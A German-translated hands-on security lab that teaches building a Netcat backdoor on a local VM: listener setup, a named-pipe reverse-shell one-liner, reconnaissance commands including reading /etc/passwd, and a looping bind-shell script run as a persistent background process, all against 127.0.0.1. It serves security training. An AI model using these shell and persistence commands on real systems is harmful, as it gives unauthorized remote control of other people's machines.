Erstellen einer Backdoor in Netcat

Beginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie mit Netcat, einem vielseitigen Netzwerktool, eine einfache Backdoor (Rücktür) erstellen können, um Remote-Verbindungen zwischen Systemen herzustellen. Sie üben das Einrichten von Listenern, das Initiieren von Verbindungen und das Ausführen von Remote-Befehlen in praktischen Übungen.

Dieses Lab demonstriert grundlegende Netzwerkkommunikationstechniken, die in der Cybersicherheit eingesetzt werden, und gibt Einblicke in Angriffsmöglichkeiten sowie in die Aspekte der Verteidigung. Sie gewinnen praktische Erfahrung mit der Funktionalität von Netcat und verstehen, wie einfache Tools für die Erstellung von Backdoors genutzt werden können.


Skills Graph

Netcat installieren

In diesem Schritt installieren Sie Netcat (häufig als 'nc' abgekürzt), ein grundlegendes Netzwerktool, das es Ihnen ermöglicht, von Netzwerkverbindungen zu lesen und auf sie zu schreiben. Stellen Sie sich Netcat als ein Multitool für die Netzwerkfehlersuche und Datenübertragung vor – es wird unser Haupthilfsmittel für die Herstellung von Verbindungen zwischen Computern in diesem Lab sein.

Bevor Sie etwas installieren, ist es eine gute Praxis, zu prüfen, ob die Software bereits verfügbar ist. Viele Linux-Systeme haben Netcat bereits vorinstalliert. Lassen Sie uns dies in unserer LabEx-VM-Umgebung überprüfen, indem wir folgenden Befehl ausführen:

nc -h

Dieser Befehl fordert Netcat auf, seine Hilfsinformationen anzuzeigen. Wenn eine Liste von Befehlsoptionen angezeigt wird, herzlichen Glückwunsch – Netcat ist bereits auf Ihrem System installiert! Wenn stattdessen eine Fehlermeldung "Befehl nicht gefunden" angezeigt wird, keine Sorge – wir werden Ihnen den Installationsprozess Schritt für Schritt durchführen.

Der Installationsprozess umfasst drei einfache Befehle. Zunächst müssen wir unsere Paketliste aktualisieren, um sicherzustellen, dass wir die neueste Version von Netcat erhalten:

sudo apt update

Das Präfix 'sudo' gibt uns Administratorrechte, während 'apt update' unsere Liste der verfügbaren Softwarepakete aktualisiert. Nachdem dies abgeschlossen ist, können wir mit der eigentlichen Installation fortfahren:

sudo apt install -y netcat

Das '-y'-Flag bestätigt automatisch, dass wir die Installation fortsetzen möchten. Sobald dies abgeschlossen ist, sollten wir überprüfen, ob Netcat korrekt installiert wurde, indem wir seine Versionsinformationen prüfen:

nc -h

Nun sollten Sie eine detaillierte Ausgabe sehen, die die Befehlsoptionen und die Syntax von Netcat zeigt, ähnlich wie in diesem Beispiel:

[v1.10-46]
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]

Diese Ausgabe bestätigt, dass Netcat ordnungsgemäß installiert ist und für die nächsten Schritte in unserem Lab bereit ist. Die verschiedenen gezeigten Optionen werden Ihnen im Laufe der Übungen vertrauter werden.

Starten eines Listeners auf dem Angreifer-System

In diesem Schritt richten Sie Ihr Angreifer-System (die LabEx-VM) so ein, dass es mit Netcat auf eingehende Verbindungen wartet. Stellen Sie sich das wie das Einrichten eines Telefons vor, das auf Anrufe wartet – der Listener wird bereit bleiben, Verbindungen von anderen Systemen entgegenzunehmen. Dies ist die Grundlage für die Einrichtung der Fernsteuerung in späteren Schritten.

  1. Zunächst navigieren wir in das richtige Arbeitsverzeichnis. Dadurch stellen wir sicher, dass alle unsere Dateien an einem Ort organisiert bleiben:
cd ~/project
  1. Jetzt starten wir den Netcat-Listener. Wir verwenden Port 4444 (Sie können jeden verfügbaren Port zwischen 1024 und 65535 auswählen). Ports sind wie Türnummern – sie helfen dabei, zu identifizieren, wohin Verbindungen gehen sollen:
nc -lvnp 4444

Lassen Sie uns aufschlüsseln, was jede Option bewirkt:

  • -l: Setzt Netcat in den Listening-Modus (wie das Beantworten eines Anrufs)
  • -v: Zeigt detaillierte Verbindungsinformationen an (nützlich für die Fehlersuche)
  • -n: Überspringt DNS-Suchen (macht Verbindungen schneller)
  • -p: Gibt die Portnummer an, die verwendet werden soll
  1. Bei Erfolg sehen Sie eine Bestätigung, dass der Listener aktiv ist:
Listening on 0.0.0.0 4444

Ihr Terminal scheint eingefroren zu sein – dies ist erwartetes Verhalten, da Netcat aktiv auf eine Verbindung wartet. Schließen Sie dieses Terminalfenster nicht; wir werden es bald benötigen, wenn wir eine Verbindung von einem anderen System herstellen.

Wichtiger Hinweis: Bei tatsächlichen Sicherheitsüberprüfungen oder in realen Szenarien lassen Fachleute Listeners oft im Hintergrund laufen oder verwenden Tools wie tmux, um mehrere Sitzungen zu verwalten. Für diese Lernübung halten wir es einfach und lassen es im Vordergrund laufen, damit Sie deutlich sehen können, wie der Verbindungsaufbau funktioniert.

Verbindung von der Opfersystem herstellen

In diesem Schritt simulieren Sie die Verbindung zum Netcat-Listener von einem Opfersystem aus. Da wir in einer einzigen LabEx-VM arbeiten, verwenden wir dasselbe System, um sowohl die Rolle des Angreifers als auch die des Opfers zu simulieren, indem wir eine zweite Terminalverbindung öffnen. Dies ist eine gängige Praxis bei Sicherheitsüberprüfungen, bei der ein System aus Demonstrationsgründen beide Enden der Verbindung darstellt.

  1. Stellen Sie zunächst sicher, dass Ihr Netcat-Listener noch im ersten Terminal läuft (aus Schritt 2). Der Listener muss aktiv sein, um eingehende Verbindungen anzunehmen. Wenn nicht, starten Sie ihn mit demselben Befehl neu:
nc -lvnp 4444
  1. Öffnen Sie eine neue Terminalregisterkarte/Fenster (klicken Sie mit der rechten Maustaste im Terminal und wählen Sie "Neue Registerkarte" oder verwenden Sie die Tastenkombination Strg+Umschalt+T). Dieses zweite Terminal repräsentiert in unserer Simulation das Opfersystem.

  2. Stellen Sie im neuen Terminal eine Verbindung zum Listener her, indem Sie localhost verwenden (da wir dasselbe System nutzen). Die IP-Adresse 127.0.0.1 bezieht sich immer auf das lokale System:

nc -nv 127.0.0.1 4444

Erklärung der in dem Verbindungsbefehl verwendeten Flags:

  • -n: Weist Netcat an, keine Hostnamen aufzulösen, was die Verbindung beschleunigt
  • -v: Liefert ausführliche Ausgabe, damit Sie die Verbindungsdetails sehen können
  1. Sie sollten in beiden Terminals Verbindungsnachrichten sehen, die die erfolgreiche Verbindung bestätigen:
  • Im Listener-Terminal (zeigt die eingehende Verbindung):
Connection received on 127.0.0.1 12345
  • Im Opfer-Terminal (bestätigt die Verbindung zum Listener):
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
  1. Jetzt können Sie die grundlegende Kommunikation zwischen den beiden Terminals testen:
  • Geben Sie im Opfer-Terminal eine einfache Nachricht ein und drücken Sie die Eingabetaste
  • Die Nachricht sollte sofort im Listener-Terminal erscheinen
  • Versuchen Sie, eine Nachricht vom Listener an das Opfer zurückzusenden, um die bidirektionale Kommunikation zu überprüfen
  1. Um eine der Verbindungen zu beenden, wenn Sie fertig sind:
  • Drücken Sie Strg+C, um die Verbindung sofort zu beenden
  • Oder geben Sie exit ein und drücken Sie die Eingabetaste, um eine saubere Trennung herbeizuführen

Befehle remote senden

In diesem Schritt lernen Sie, wie Sie Befehle über die hergestellte Netcat-Verbindung remote ausführen können. Dies demonstriert eine grundlegende Technik bei Penetrationstests, bei der ein Angreifer die Kontrolle über ein kompromittiertes System erlangt. Das Verständnis dieses Prozesses hilft Sicherheitsfachleuten, sich gegen solche Angriffe zu schützen.

  1. Stellen Sie zunächst sicher, dass Sie beide Terminals aus den vorherigen Schritten geöffnet haben:
  • Terminal 1: Netcat-Listener (nc -lvnp 4444) – Dies ist Ihr Angreifer-System, das auf Verbindungen wartet
  • Terminal 2: Opfer-Verbindung (nc -nv 127.0.0.1 4444) – Dies simuliert ein kompromittiertes System, das sich zurück an Sie verbindet
  1. Senden Sie im Terminal 1 (Listener) einen einfachen Befehl, um die Verbindung zu testen:
whoami
  1. Der Befehl wird auf dem Opfersystem (Terminal 2) ausgeführt, aber Sie sehen die Ausgabe noch nicht, da wir die richtige Ausgabeumleitung noch nicht eingerichtet haben. Dies ist eine häufige anfängliche Herausforderung bei der Arbeit mit einfachen Netcat-Verbindungen.

  2. Stellen Sie im Terminal 2 eine fortgeschrittenere Verbindung her, die eine richtige Befehlsshell mit Ausgabeumleitung erstellt:

rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -nv 127.0.0.1 4444 > /tmp/f

Dies erstellt eine benannte Pipe (/tmp/f) und richtet eine vollständige interaktive Shell ein, die sowohl die Standardausgabe als auch die Fehlermeldungen an den Angreifer zurücksendet.

  1. Jetzt können Sie im Terminal 1 (Listener) Befehle ausführen und deren Ausgabe richtig sehen:
ls -la
pwd
uname -a
  1. Versuchen Sie einige einfache Systemerkundungsbefehle, um die Umgebung des Opfersystems zu verstehen:
id
cat /etc/passwd | head -5
ps aux | head -5

Diese Befehle zeigen jeweils Benutzerinformationen, Systemkonten und laufende Prozesse an.

  1. Um eine dauerhafte Backdoor (Rückzugsmöglichkeit) zu erstellen, die sich automatisch neu verbindet, können Sie ein einfaches Skript in ~/project erstellen:
echo 'while true; do nc -lvnp 4444 -e /bin/bash; done' > ~/project/backdoor.sh
chmod +x ~/project/backdoor.sh

Dieses Skript versucht kontinuierlich, eine Verbindung herzustellen und Shell-Zugang zu gewähren, sobald es ausgeführt wird.

  1. Denken Sie daran, alle Verbindungen zu beenden, wenn Sie fertig sind, indem Sie in beiden Terminals Strg+C drücken. Dies ist wichtig, um die Ressourcen aufzuräumen und das Lab ordnungsgemäß zu beenden.

Testen der Backdoor-Funktionalität

In diesem letzten Schritt überprüfen wir, ob unser Backdoor-Skript wie beabsichtigt funktioniert. Dieser Prozess zeigt, wie ein Angreifer langfristigen Zugang zu einem kompromittierten System aufrechterhalten könnte. Wir werden sowohl die sofortige Funktionalität als auch die Persistenz (die Fähigkeit, sich später erneut zu verbinden) testen.

Bevor wir beginnen, verstehen wir zunächst, was jeder Befehl tun wird. Das Backdoor-Skript erstellt einen Listening-Port, der auf eingehende Verbindungen wartet. Wenn eine Verbindung hergestellt wird, gewährt es dem Angreifer die Möglichkeit, Befehle remote auf dem Opfersystem auszuführen.

  1. Zunächst stellen wir sicher, dass unser Backdoor-Skript sich an der richtigen Stelle befindet. Dies überprüft, ob wir die Datei in den vorherigen Schritten korrekt erstellt haben:
ls -la ~/project/backdoor.sh
  1. Jetzt führen wir das Backdoor-Skript im Hintergrund aus. Das &-Symbol lässt es als Hintergrundprozess laufen, sodass wir weiterhin dieses Terminal verwenden können:
cd ~/project
./backdoor.sh &
  1. Wir überprüfen, ob das Skript tatsächlich läuft. Dieser Befehl zeigt alle laufenden Prozesse an und filtert nach unserem Backdoor:
ps aux | grep backdoor.sh
  1. Öffnen Sie ein neues Terminalfenster (Terminal 2). Hier simulieren wir einen Angreifer, der sich mit der Backdoor verbindet. Die -nv-Flags machen Netcat ausführlicher, sodass wir die Verbindungsdetails sehen können:
nc -nv 127.0.0.1 4444
  1. Jetzt testen wir, ob Befehle über die Backdoor funktionieren. Wir erstellen eine Testdatei und lesen sie dann aus, um zu bestätigen, dass wir den richtigen Zugang haben:
echo "Backdoor test successful" > ~/project/test.txt
cat ~/project/test.txt
  1. Überprüfen Sie die grundlegenden Systeminformationen, um zu bestätigen, dass wir die volle Befehlsausführung haben. Diese Befehle zeigen unseren aktuellen Benutzer und den Systemnamen an:
whoami
hostname
  1. Um die Persistenz zu testen, trennen Sie die Verbindung mit Strg+C, warten Sie 30 Sekunden und verbinden Sie sich dann erneut. Dies simuliert einen Angreifer, der später zurückkehrt:
nc -nv 127.0.0.1 4444
  1. Überprüfen Sie, ob die Backdoor den Zugang aufrechterhalten hat, indem Sie prüfen, ob unsere Testdatei noch existiert:
cat ~/project/test.txt
  1. Schließlich räumen wir alle Testartefakte auf. Dies stoppt den Backdoor-Prozess und entfernt unsere Testdateien:
pkill -f backdoor.sh
rm ~/project/test.txt ~/project/backdoor.sh

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie mit Netcat, einem vielseitigen Netzwerktool, eine Backdoor-Verbindung herstellen können. Die Übung umfasste die Installation von Netcat auf Linux, die Konfiguration eines Listeners mit bestimmten Flags (-lvnp) und die Einrichtung eines verborgenen Kommunikationskanals zwischen Maschinen.

Durch diese praktische Erfahrung haben Sie praktisches Wissen über die Fähigkeiten von Netcat bei der Erstellung von Remote-Zugang-Backdoors erworben. Das Lab hat auch wichtige Sicherheitsüberlegungen aufgezeigt, die bei der Arbeit mit Netzwerk-Utilities zu beachten sind, die für unbefugten Zugang ausgenutzt werden können.